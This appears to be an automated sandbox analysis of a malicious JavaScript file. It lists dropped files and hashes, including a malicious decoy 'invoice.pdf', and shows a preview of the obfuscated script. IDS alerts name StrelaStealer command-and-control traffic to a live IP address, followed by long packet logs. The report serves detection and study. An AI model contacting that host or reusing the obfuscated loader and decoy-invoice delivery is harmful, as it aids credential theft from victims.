SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ee54992e-f9fc-4c44-9487-aef00c9b172e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17609), with CRLF line terminators
Entropy (8bit):	4.8810931366925905
TrID:
File name:	2581826545127854631.js
File size:	20'934 bytes
MD5:	299863845a82a8003a037c592b6cf5d3
SHA1:	13548a576a9abeaddd482673a857f9155aa315db
SHA256:	04bb0c40d65c306e93e307d8f576fc4362900f0fd09ccee1f6168da26a441c37
SHA512:	5538da534b9b240d4e3b6409b11d47cf925baf14f90bc5db020535ecbd270eac72a3f46ab0b293dc9fbbc45848afe95a66763eff1375631c31f10eebe2bf4801
SSDEEP:	192:ftHWShLwzRNWSmLtsLtrLt6lUldSha0FBCsiDFEI9yw8krK/3b+tK9NmsGwqOoHW:PlUldSqDFEIEXb3b+U9NYfPtO
TLSH:	8B9252C9BA13F7E58DE060F21C87488F4774515ADEB2249B10A3986BC7E0DA7C7E2179
File Content Preview:	function clfkbmqr(){waaifgww=[1031,3079,5127,4103,2055,3072];var ssggt=this[iplmu+ovrjmnbmm+wbxnab+xhweuct+omryb+xhjfog+wqtziy+tjavzmar](this[rvuchp+jbzwpw+hlyxyurn+wbxnab+nrulwej+iplmu+tjavzmar][ggizqhm+wbxnab+omryb+ovrjmnbmm+tjavzmar+omryb+jcksok+tpxwq+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:54:01.985934+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T01:54:01.985934+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T01:54:04.981245+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:54:01.194994926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.201133013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.201332092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.204495907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.210597038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985846996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985891104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985908985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985919952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985934019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.985939026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985951900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985963106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985964060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.985975027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985986948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.985987902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.986000061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.986026049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.986042976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:01.990792990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.990807056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.990818977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:01.990849018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.031972885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.032006979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.032027006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.074954033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.110809088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.110824108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.110835075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.110888958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.111072063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111083031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111094952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111107111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111105919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.111125946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.111645937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111663103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111675024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111680984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.111685991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111702919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.111715078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.111738920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.112571001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.112582922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.112593889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.112605095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.112612963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.112617970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.112637043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.113430023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.113440990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.113452911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.113462925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.113468885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.113475084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.113497972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.113524914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.162164927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.162198067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.162250042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.162280083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.162331104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.166347980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.197676897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.235743999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.235766888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.235780001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.235790968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.235801935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.235814095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.235882044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.235913038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.236109972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236120939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236133099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236143112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236155033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236157894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.236169100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.236176968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236202955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.236710072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236720085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236756086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.236882925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236895084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236905098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236917019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236927986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.236928940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.236957073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.236991882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.237413883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237426043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237436056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237447023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237457037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237468004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.237468958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237481117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237490892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.237492085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.237529993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.237552881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.238408089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238419056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238430023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238440037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238451004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238461971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238467932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238468885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.238478899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.238502026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.238523006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.239262104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.239274025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.239283085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.239294052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.239305973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.239319086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.239345074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.241966009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.241976976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.241986990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.242011070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.242036104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.248910904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.248920918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.248933077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.248971939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.248986959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.249032021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.281526089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.281536102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.281589985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.284522057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.284590006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.284600019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.284638882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.322460890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.322473049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.322559118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.360743046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360755920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360769033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360780001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360791922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360804081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360877037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.360929012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.360934019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360951900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360965014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360975981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.360987902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361042023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.361042023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.361289024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361299992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361313105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361323118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361330986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.361350060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.361541033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361552000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361565113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361576080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361582994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.361588955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361610889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.361625910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.361939907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361952066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361963987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361974955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361994028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.361994028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362005949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362019062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362020016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362030029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362042904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362051010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362054110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362066031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362072945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362102032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362698078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362709999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362720966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362746000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362770081 CET	80	49730	193.143.1.205	192.168.2.4
